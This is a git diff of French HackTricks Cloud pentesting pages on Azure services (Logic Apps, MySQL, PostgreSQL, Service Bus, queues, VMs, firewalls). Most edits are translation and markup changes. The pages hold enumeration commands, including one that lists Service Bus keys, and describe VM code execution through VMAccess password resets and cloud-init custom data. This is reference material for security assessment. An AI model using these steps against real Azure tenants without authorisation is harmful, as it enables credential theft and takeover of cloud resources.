Logic Apps fournit un concepteur visuel pour créer des workflows avec une **large gamme de connecteurs préconçus**, ce qui facilite la connexion et l'interaction avec divers services, tels qu'Office 365, Dynamics CRM, Salesforce, et bien d'autres. Vous pouvez également créer des connecteurs personnalisés pour vos besoins spécifiques.
@@ -13,9 +13,9 @@ Logic Apps fournit un concepteur visuel pour créer des workflows avec une **lar
- **Automatisation des pipelines de données** : Logic Apps peut automatiser **les processus de transfert et de transformation des données** en combinaison avec Azure Data Factory. Cela est utile pour créer des pipelines de données évolutifs et fiables qui déplacent et transforment des données entre divers magasins de données, comme Azure SQL Database et Azure Blob Storage, aidant ainsi dans les opérations d'analytique et d'intelligence d'affaires.
- **Intégration avec Azure Functions** : Logic Apps peut fonctionner aux côtés d'Azure Functions pour développer **des applications sophistiquées, déclenchées par des événements qui s'adaptent selon les besoins** et s'intègrent parfaitement avec d'autres services Azure. Un exemple d'utilisation est d'utiliser une Logic App pour déclencher une Azure Function en réponse à certains événements, tels que des changements dans un compte de stockage Azure, permettant un traitement dynamique des données.
### Visualiser un LogicAPP
### Visualiser une LogicAPP
Il est possible de visualiser un LogicApp avec des graphiques :
Il est possible de visualiser une LogicApp avec des graphiques :
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
@@ -38,14 +38,13 @@ Il existe plusieurs options d'hébergement :
- **Multi-tenant** : fournit des ressources de calcul partagées, fonctionne dans le cloud public et suit un modèle de tarification à la consommation. Cela est idéal pour des charges de travail légères et rentables.
* **Standard**
- **Workflow Service Plan** : ressources de calcul dédiées avec intégration VNET pour le réseau et facturation par instance de plan de service de flux de travail. Il convient aux charges de travail plus exigeantes nécessitant un plus grand contrôle.
- **App Service Environment V3** ressources de calcul dédiées avec isolation complète et évolutivité. Il s'intègre également avec VNET pour le réseau et utilise un modèle de tarification basé sur les instances de service d'application au sein de l'environnement. Cela est idéal pour les applications à l'échelle de l'entreprise nécessitant une haute isolation.
- **App Service Environment V3** ressources de calcul dédiées avec isolation complète et évolutivité. Il s'intègre également à VNET pour le réseau et utilise un modèle de tarification basé sur les instances de service d'application au sein de l'environnement. Cela est idéal pour les applications à l'échelle de l'entreprise nécessitant une haute isolation.
- **Hybride** conçu pour le traitement local et le support multi-cloud. Il permet des ressources de calcul gérées par le client avec accès au réseau local et utilise l'autoscaling basé sur les événements Kubernetes (KEDA).
### Énumération
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List
az logic workflow list --resource-group <ResourceGroupName>
@@ -108,11 +107,9 @@ az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.LogicApp
@@ -137,29 +134,27 @@ Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
### Comptes d'intégration
**Comptes d'intégration**, sont une fonctionnalité d'Azure Logic Apps. Les Comptes d'intégration sont utilisés pour faciliter les intégrations au niveau de l'entreprise en permettant des capacités B2B avancées, telles que EDI, AS2 et la gestion de schémas XML. Les Comptes d'intégration sont un conteneur dans Azure qui stocke les artefacts suivants utilisés pour les Logic Apps :
**Comptes d'intégration**, sont une fonctionnalité d'Azure Logic Apps. Les Comptes d'intégration sont utilisés pour faciliter les intégrations au niveau de l'entreprise en permettant des capacités B2B avancées, telles que la gestion EDI, AS2 et des schémas XML. Les Comptes d'intégration sont un conteneur dans Azure qui stocke les artefacts suivants utilisés pour les Logic Apps :
* Schémas : Gérer les schémas XML pour valider et traiter les messages dans votre compte d'intégration.
* Cartes : Configurer des transformations basées sur XSLT pour convertir les formats de données dans vos flux de travail d'intégration.
* Assemblages : Gérer les assemblages de comptes d'intégration pour rationaliser la logique et le traitement des données.
* Cartes : Configurer des transformations basées sur XSLT pour convertir les formats de données au sein de vos flux de travail d'intégration.
* Assemblages : Gérer les assemblages du compte d'intégration pour rationaliser la logique et le traitement des données.
* Certificats : Gérer les certificats pour chiffrer et signer les messages, garantissant une communication sécurisée.
* Partenaires : Gérer les informations sur les partenaires commerciaux pour les transactions B2B, permettant des intégrations sans faille.
* Accords : Configurer des règles et des paramètres pour échanger des données avec des partenaires commerciaux (par exemple, EDI, AS2).
* Configurations de lot : Gérer les configurations de traitement par lot pour regrouper et traiter les messages efficacement.
* RosettaNet PIP : Configurer les processus d'interface de partenaire RosettaNet (PIPs) pour standardiser la communication B2B.
* RosettaNet PIP : Configurer les processus d'interface partenaire RosettaNet (PIPs) pour standardiser la communication B2B.
#### Énumération
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Integration account
az logic integration-account list --resource-group <resource-group-name>
@@ -219,11 +214,9 @@ az logic integration-account assembly show \
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```powershell
Get-Command -Module Az.LogicApp
@@ -254,23 +247,22 @@ Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -Integr
# Retrieve details of a specific schema in an integration account
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
## Escalade de privilèges
Identique à la privesc des applications logiques :
{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %}
[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md)
{% endcontent-ref %}
{{#ref}}
../az-privilege-escalation/az-logic-apps-privesc.md
{{#endref}}
## Post-exploitation
{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %}
[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md)
{% endcontent-ref %}
{{#ref}}
../az-post-exploitation/az-logic-apps-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -11,21 +11,20 @@ Azure Database for MySQL est un service de base de données relationnelle entiè
- Idéal pour les applications avec des charges de travail prévisibles.
* **Serveur flexible** :
- Offre plus de contrôle sur la gestion et la configuration de la base de données.
- Prend en charge la haute disponibilité (dans la même zone et redondante entre zones).
- Prend en charge la haute disponibilité (zone identique et redondante de zone).
- Comprend une mise à l'échelle élastique, la gestion des correctifs et l'optimisation des charges de travail.
- Offre des fonctionnalités d'arrêt/démarrage pour des économies de coûts.
- Offre une fonctionnalité d'arrêt/démarrage pour des économies de coûts.
### Caractéristiques clés
* **Gestion des serveurs** : La fonctionnalité **ad-admin** permet de gérer les administrateurs Azure Active Directory (AAD) pour les serveurs MySQL, offrant un contrôle sur l'accès administratif via des identifiants AAD, tandis que la fonctionnalité **identity** permet l'attribution et la gestion des identités gérées Azure, offrant une authentification sécurisée sans identifiants pour accéder aux ressources Azure.
* **Gestion du cycle de vie** : options pour démarrer ou arrêter un serveur, supprimer une instance de serveur flexible, redémarrer un serveur pour appliquer rapidement des modifications de configuration, et attendre pour s'assurer qu'un serveur répond à des conditions spécifiques avant de procéder avec des scripts d'automatisation.
* **Sécurité et mise en réseau** : peut gérer les règles de pare-feu du serveur pour un accès sécurisé à la base de données et détacher les configurations de réseau virtuel si nécessaire.
* **Protection des données et sauvegarde** : inclut des options pour gérer les sauvegardes de serveurs flexibles pour la récupération des données, effectuer une restauration géographique pour récupérer un serveur dans une autre région, exporter des sauvegardes de serveur pour un usage externe (en aperçu), et restaurer un serveur à partir d'une sauvegarde à un moment spécifique.
* **Protection des données et sauvegarde** : comprend des options pour gérer les sauvegardes de serveurs flexibles pour la récupération des données, effectuer une restauration géographique pour récupérer un serveur dans une autre région, exporter des sauvegardes de serveur pour un usage externe (en aperçu), et restaurer un serveur à partir d'une sauvegarde à un moment spécifique.
### Énumération
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List all flexible-servers
az mysql flexible-server db list --resource-group <resource-group-name>
@@ -55,11 +54,9 @@ az mysql flexible-server maintenance list --resource-group <resource-group-name>
az mysql flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.MySql
@@ -95,15 +92,12 @@ Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName <resource-group-na
# List log files for a server
Get-AzMySqlFlexibleServerLog -ResourceGroupName <resource-group-name> -ServerName <server_name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
### Connexion
Avec l'extension rdbms-connect, vous pouvez accéder à la base de données avec :
{% code overflow="wrap" %}
```bash
az mysql flexible-server connect -n <server-name> -u <username> -p <password> --interactive
@@ -116,17 +110,11 @@ az mysql flexible-server execute \
--querytext "SELECT * FROM <table-name>;"
```
{% endcode %}
Ou avec le plugin d'extension natif MySQL
{% code overflow="wrap" %}
```bash
mysql -h <server-name>.mysql.database.azure.com -P 3306 -u <username> -p
```
{% endcode %}
Vous pouvez également exécuter des requêtes avec github, mais le mot de passe et l'utilisateur sont également nécessaires. Vous devez configurer un fichier sql avec la requête à exécuter, puis :
{% code overflow="wrap" %}
Vous pouvez également exécuter des requêtes avec github, mais le mot de passe et l'utilisateur sont également nécessaires. Vous devez configurer un fichier sql avec la requête à exécuter et ensuite :
```bash
# Setup
az mysql flexible-server deploy setup \
@@ -145,24 +133,20 @@ az mysql flexible-server deploy run \
--action-name <action-name> \
--branch <branch-name>
```
{% endcode %}
## Escalade de privilèges
{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %}
[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md)
{% endcontent-ref %}
{{#ref}}
../az-privilege-escalation/az-mysql-privesc.md
{{#endref}}
## Post-exploitation
{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %}
[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md)
{% endcontent-ref %}
{{#ref}}
../az-post-exploitation/az-mysql-post-exploitation.md
{{#endref}}
## À faire
* Chercher un moyen d'accéder avec mysql flexible-server ad-admin pour vérifier que c'est une méthode d'escalade de privilèges
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -26,9 +26,8 @@
### Énumération
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List servers in a resource group
az postgres flexible-server list --resource-group <resource-group-name>
@@ -64,11 +63,9 @@ az postgres flexible-server maintenance list --resource-group <resource-group-na
az postgres flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.PostgreSql
@@ -91,15 +88,12 @@ Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location <location>
Get-AzPostgreSqlServer -ResourceGroupName <resource-group-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
### Connexion
Avec l'extension rdbms-connect, vous pouvez accéder à la base de données avec :
{% code overflow="wrap" %}
```bash
az postgres flexible-server connect -n <server-name> -u <username> -p <password> --interactive
@@ -112,36 +106,31 @@ az postgres flexible-server execute \
--querytext "SELECT * FROM <table-name>;"
```
{% endcode %}
Ou
{% code overflow="wrap" %}
```bash
psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser <database-name>
```
{% endcode %}
## Références
* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview)
- [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview)
## Escalade de privilèges
{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %}
[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md)
{% endcontent-ref %}
{{#ref}}
../az-privilege-escalation/az-postgresql-privesc.md
{{#endref}}
## Post-exploitation
{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %}
[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md)
{% endcontent-ref %}
{{#ref}}
../az-post-exploitation/az-postgresql-post-exploitation.md
{{#endref}}
## À faire
* Chercher un moyen d'accéder avec ad-admin pour vérifier que c'est une méthode d'escalade de privilèges
* Chercher un moyen d'accéder avec ad-admin pour vérifier s'il s'agit d'une méthode d'escalade de privilèges
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,19 +12,19 @@ Azure Queue Storage est un service de la plateforme cloud Azure de Microsoft con
{{#tab name="Az Cli" }}
```bash
# You need to know the --account-name of the storage (az storage account list)
az storage queue list --account-name <storage_account>
az storage queue list --account-name <storage_account> # --auth-mode login
# Queue Metadata
az storage queue metadata show --name <queue_name> --account-name <storage_account>
az storage queue metadata show --name <queue_name> --account-name <storage_account> # --auth-mode login
#Get ACL
az storage queue policy list --queue-name <queue_name> --account-name <storage_account>
az storage queue policy list --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
# Get Messages (getting a message deletes it)
az storage message get --queue-name <queue_name> --account-name <storage_account>
az storage message get --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
# Peek Messages
az storage message peek --queue-name <queue_name> --account-name <storage_account>
az storage message peek --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
```
{{#endtab }}

View File

@@ -15,8 +15,8 @@ Azure Service Bus est un **service de messagerie** basé sur le cloud conçu pou
2. **Topics :** Messagerie publish-subscribe pour la diffusion.
- Plusieurs abonnements indépendants reçoivent des copies des messages.
- Les abonnements peuvent avoir des règles/filtres pour contrôler la livraison ou ajouter des métadonnées.
- Prend en charge la communication plusieurs-à-plusieurs.
3. **Namespaces :** Un conteneur pour tous les composants de messagerie, les files d'attente et les sujets, est comme votre propre part d'un puissant cluster Azure, fournissant une capacité dédiée et s'étendant éventuellement sur trois zones de disponibilité.
- Prend en charge la communication plusieurs à plusieurs.
3. **Namespaces :** Un conteneur pour tous les composants de messagerie, files d'attente et sujets, est comme votre propre part d'un puissant cluster Azure, fournissant une capacité dédiée et s'étendant éventuellement sur trois zones de disponibilité.
### Fonctionnalités Avancées
@@ -35,7 +35,7 @@ Certaines fonctionnalités avancées sont :
### Authorization-Rule / SAS Policy
Les politiques SAS définissent les autorisations d'accès pour les entités Azure Service Bus namespace (le plus important), les files d'attente et les sujets. Chaque politique a les composants suivants :
Les politiques SAS définissent les autorisations d'accès pour les entités Azure Service Bus namespace (la plus importante), files d'attente et sujets. Chaque politique a les composants suivants :
- **Permissions** : Cases à cocher pour spécifier les niveaux d'accès :
- Manage : Accorde un contrôle total sur l'entité, y compris la configuration et la gestion des autorisations.
@@ -51,9 +51,8 @@ sku, règle d'autorisation,
### Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Queue Enumeration
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
@@ -81,11 +80,9 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```powershell
Get-Command -Module Az.ServiceBus
@@ -128,9 +125,8 @@ Get-AzServiceBusSubscription -ResourceGroupName <ResourceGroupName> -NamespaceNa
# Retrieves details of a specified topic in a Service Bus namespace.
Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
### Escalade de privilèges
@@ -147,8 +143,8 @@ Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <Nam
## Références
- https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli
- [https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0](https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0)
- [https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview)
- [https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -20,7 +20,7 @@ Les Machines Virtuelles (VM) Azure sont des **serveurs basés sur le cloud flexi
- **Type de sécurité** :
- **Sécurité standard** : C'est le type de sécurité par défaut qui ne nécessite aucune configuration spécifique.
- **Lancement de confiance** : Ce type de sécurité améliore la protection contre les kits de démarrage et les logiciels malveillants au niveau du noyau en utilisant le démarrage sécurisé et le module de plateforme de confiance virtuel (vTPM).
- **VMs confidentielles** : En plus d'un lancement de confiance, cela offre une isolation matérielle entre la VM, l'hyperviseur et la gestion de l'hôte, améliore le chiffrement des disques et [**plus**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **VMs confidentielles** : En plus d'un lancement de confiance, cela offre une isolation basée sur le matériel entre la VM, l'hyperviseur et la gestion de l'hôte, améliore le chiffrement des disques et [**plus**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Authentification** : Par défaut, une nouvelle **clé SSH est générée**, bien qu'il soit possible d'utiliser une clé publique ou d'utiliser une clé précédente et le nom d'utilisateur par défaut est **azureuser**. Il est également possible de configurer l'utilisation d'un **mot de passe.**
- **Chiffrement des disques VM :** Le disque est chiffré au repos par défaut en utilisant une clé gérée par la plateforme.
- Il est également possible d'activer **le chiffrement à l'hôte**, où les données seront chiffrées dans l'hôte avant d'être envoyées au service de stockage, garantissant un chiffrement de bout en bout entre l'hôte et le service de stockage ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
@@ -30,7 +30,7 @@ Les Machines Virtuelles (VM) Azure sont des **serveurs basés sur le cloud flexi
- **Avancé** : Sélectionnez un groupe de sécurité
- **Sauvegarde** : Il est possible d'activer une sauvegarde **Standard** (une par jour) et **Améliorée** (plusieurs par jour)
- **Options d'orchestration des correctifs** : Cela permet d'appliquer automatiquement des correctifs dans les VM selon la politique sélectionnée comme décrit dans les [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
- **Alertes** : Il est possible de recevoir automatiquement des alertes par e-mail ou application mobile lorsque quelque chose se produit dans la VM. Règles par défaut :
- **Alertes** : Il est possible de recevoir automatiquement des alertes par e-mail ou par application mobile lorsque quelque chose se produit dans la VM. Règles par défaut :
- Pourcentage CPU supérieur à 80%
- Octets de mémoire disponibles inférieurs à 1 Go
- Pourcentage d'I/O consommé par les disques de données supérieur à 95%
@@ -148,7 +148,7 @@ D'après les [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/si
## Azure Bastion
Azure Bastion permet un accès **Remote Desktop Protocol (RDP)** et **Secure Shell (SSH)** sécurisé et sans faille à vos machines virtuelles (VM) directement via le portail Azure ou via une jump box. En **éliminant le besoin d'adresses IP publiques** sur vos VM.
Azure Bastion permet un accès sécurisé et sans faille au **Remote Desktop Protocol (RDP)** et au **Secure Shell (SSH)** à vos machines virtuelles (VM) directement via le portail Azure ou via une jump box. En **éliminant le besoin d'adresses IP publiques** sur vos VM.
Le Bastion déploie un sous-réseau appelé **`AzureBastionSubnet`** avec un masque de sous-réseau `/26` dans le VNet sur lequel il doit fonctionner. Ensuite, il permet de **se connecter aux VM internes via le navigateur** en utilisant `RDP` et `SSH`, évitant ainsi d'exposer les ports des VM à Internet. Il peut également fonctionner comme un **hôte de saut**.
@@ -200,6 +200,9 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
{{#endref}}
## Énumération de VM
{{#tabs}}
{{#tab name="az cli"}}
```bash
# VMs
## List all VMs and get info about one
@@ -335,7 +338,9 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
# List all available run commands for virtual machines
az vm run-command list --output table
```
{{#endtab }}
{{#tab name="Az Powershell" }}
```bash
# Get readable VMs
Get-AzVM | fl
@@ -427,6 +432,9 @@ Get-AzStorageAccount
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
```
{{#endtab }}
{{#endtabs }}
## Exécution de code dans les VMs
### Extensions de VM
@@ -539,7 +547,7 @@ L'autorisation requise est toujours **`Microsoft.Compute/virtualMachines/extensi
<summary>Extension VMAccess</summary>
Cette extension permet de modifier le mot de passe (ou de créer un mot de passe s'il n'existe pas) des utilisateurs à l'intérieur des VM Windows.
Cette extension permet de modifier le mot de passe (ou de créer s'il n'existe pas) des utilisateurs à l'intérieur des VM Windows.
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
@@ -603,7 +611,7 @@ Set-AzVMDscExtension `
<summary>Hybrid Runbook Worker</summary>
C'est une extension de VM qui permet d'exécuter des runbooks dans des VMs à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service Automation Accounts](../az-automation-account/index.html).
C'est une extension de VM qui permet d'exécuter des runbooks dans des VMs à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service des comptes d'automatisation](../az-automation-account/index.html).
</details>
@@ -728,9 +736,9 @@ Ceci est **des données persistantes** qui peuvent être récupérées à partir
Il est possible de passer certaines données à la VM qui seront stockées dans des chemins attendus :
- Dans **Windows**, les données personnalisées sont placées dans `%SYSTEMDRIVE%\AzureData\CustomData.bin` en tant que fichier binaire et ne sont pas traitées.
- Dans **Linux**, elles étaient stockées dans `/var/lib/waagent/ovf-env.xml` et sont maintenant stockées dans `/var/lib/waagent/CustomData/ovf-env.xml`
- Dans **Linux**, elles étaient stockées dans `/var/lib/waagent/ovf-env.xml` et maintenant elles sont stockées dans `/var/lib/waagent/CustomData/ovf-env.xml`
- **Agent Linux** : Il ne traite pas les données personnalisées par défaut, une image personnalisée avec les données activées est nécessaire
- **cloud-init :** Par défaut, il traite les données personnalisées et ces données peuvent être dans [**plusieurs formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Il pourrait exécuter un script facilement en envoyant simplement le script dans les données personnalisées.
- **cloud-init :** Par défaut, il traite les données personnalisées et ces données peuvent être dans [**plusieurs formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Il pourrait exécuter un script facilement en envoyant juste le script dans les données personnalisées.
- J'ai essayé que les deux Ubuntu et Debian exécutent le script que vous mettez ici.
- Il n'est également pas nécessaire d'activer les données utilisateur pour que cela soit exécuté.
```bash

View File

@@ -91,19 +91,20 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
## Azure Firewall
Azure Firewall est un **service de sécurité réseau géré** dans Azure qui protège les ressources cloud en inspectant et en contrôlant le trafic. C'est un **pare-feu stateful** qui filtre le trafic en fonction de règles pour les Couches 3 à 7, prenant en charge la communication à la fois **au sein d'Azure** (trafic est-ouest) et **vers/depuis des réseaux externes** (trafic nord-sud). Déployé au niveau du **réseau virtuel (VNet)**, il fournit une protection centralisée pour tous les sous-réseaux dans le VNet. Azure Firewall s'adapte automatiquement pour gérer les demandes de trafic et garantit une haute disponibilité sans nécessiter de configuration manuelle.
Azure Firewall est un **service de sécurité réseau géré** dans Azure qui protège les ressources cloud en inspectant et en contrôlant le trafic. C'est un **pare-feu stateful** qui filtre le trafic en fonction de règles pour les couches 3 à 7, prenant en charge la communication à la fois **au sein d'Azure** (trafic est-ouest) et **vers/depuis des réseaux externes** (trafic nord-sud). Déployé au niveau du **réseau virtuel (VNet)**, il fournit une protection centralisée pour tous les sous-réseaux dans le VNet. Azure Firewall s'adapte automatiquement pour gérer les demandes de trafic et garantit une haute disponibilité sans nécessiter de configuration manuelle.
Il est disponible en trois SKUs—**Basic**, **Standard** et **Premium**, chacun adapté à des besoins spécifiques des clients :
| **Cas d'utilisation recommandé** | Petites/Moyennes Entreprises (PME) avec des besoins limités | Utilisation générale en entreprise, filtrage Couches 37 | Environnements hautement sensibles (par exemple, traitement des paiements) |
| ------------------------------- | ---------------------------------------------------------- | ------------------------------------------------------ | --------------------------------------------------------- |
| **Performance** | Jusqu'à 250 Mbps de débit | Jusqu'à 30 Gbps de débit | Jusqu'à 100 Gbps de débit |
| **Intelligence sur les menaces**| Alertes uniquement | Alertes et blocage (IP/domaines malveillants) | Alertes et blocage (intelligence sur les menaces avancées) |
| **Filtrage L3L7** | Filtrage de base | Filtrage stateful à travers les protocoles | Filtrage stateful avec inspection avancée |
| **Protection avancée contre les menaces** | Non disponible | Filtrage basé sur l'intelligence des menaces | Inclut un système de détection et de prévention des intrusions (IDPS) |
| **Inspection TLS** | Non disponible | Non disponible | Prend en charge la terminaison TLS entrante/sortante |
| **Disponibilité** | Backend fixe (2 VMs) | Autoscaling | Autoscaling |
| **Facilité de gestion** | Contrôles de base | Géré via le Gestionnaire de pare-feu | Géré via le Gestionnaire de pare-feu |
| Critères/Fonctionnalité | Option 1 | Option 2 | Option 3 |
| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
| **Cas d'utilisation recomman** | Petites/Moyennes Entreprises (PME) avec des besoins limités | Utilisation générale en entreprise, filtrage des couches 3 à 7 | Environnements hautement sensibles (par exemple, traitement des paiements) |
| **Performance** | Jusqu'à 250 Mbps de débit | Jusqu'à 30 Gbps de débit | Jusqu'à 100 Gbps de débit |
| **Renseignement sur les menaces** | Alertes uniquement | Alertes et blocage (IP/domaines malveillants) | Alertes et blocage (renseignement sur les menaces avancées) |
| **Filtrage L3L7** | Filtrage de base | Filtrage stateful à travers les protocoles | Filtrage stateful avec inspection avancée |
| **Protection avancée contre les menaces** | Non disponible | Filtrage basé sur le renseignement sur les menaces | Inclut un système de détection et de prévention des intrusions (IDPS) |
| **Inspection TLS** | Non disponible | Non disponible | Prend en charge la terminaison TLS entrante/sortante |
| **Disponibilité** | Backend fixe (2 VMs) | Autoscaling | Autoscaling |
| **Facilité de gestion** | Contrôles de base | Géré via le Gestionnaire de pare-feu | Géré via le Gestionnaire de pare-feu |
### Enumeration
@@ -142,9 +143,9 @@ Get-AzFirewall
## Tables de routage Azure
Les **Tables de routage Azure** sont utilisées pour contrôler le routage du trafic réseau au sein d'un sous-réseau. Elles définissent des règles qui spécifient comment les paquets doivent être transférés, soit vers des ressources Azure, soit vers Internet, soit vers un prochain saut spécifique comme un Appareil Virtuel ou un Pare-feu Azure. Vous pouvez associer une table de routage à un **sous-réseau**, et toutes les ressources au sein de ce sous-réseau suivront les routes dans la table.
Les **tables de routage Azure** sont utilisées pour contrôler le routage du trafic réseau au sein d'un sous-réseau. Elles définissent des règles qui spécifient comment les paquets doivent être transférés, soit vers des ressources Azure, soit vers Internet, soit vers un prochain saut spécifique comme un appareil virtuel ou un pare-feu Azure. Vous pouvez associer une table de routage à un **sous-réseau**, et toutes les ressources au sein de ce sous-réseau suivront les routes dans la table.
**Exemple :** Si un sous-réseau héberge des ressources qui doivent acheminer le trafic sortant via un Appareil Virtuel Réseau (NVA) pour inspection, vous pouvez créer une **route** dans une table de routage pour rediriger tout le trafic (par exemple, `0.0.0.0/0`) vers l'adresse IP privée du NVA comme prochain saut.
**Exemple :** Si un sous-réseau héberge des ressources qui doivent acheminer le trafic sortant via un appareil virtuel réseau (NVA) pour inspection, vous pouvez créer une **route** dans une table de routage pour rediriger tout le trafic (par exemple, `0.0.0.0/0`) vers l'adresse IP privée de la NVA comme prochain saut.
### **Énumération**
@@ -171,16 +172,16 @@ Get-AzRouteTable
## Azure Private Link
Azure Private Link est un service dans Azure qui **permet un accès privé aux services Azure** en garantissant que **le trafic entre votre réseau virtuel Azure (VNet) et le service circule entièrement au sein du réseau backbone de Microsoft Azure**. Cela intègre efficacement le service dans votre VNet. Cette configuration améliore la sécurité en ne rendant pas les données accessibles sur Internet public.
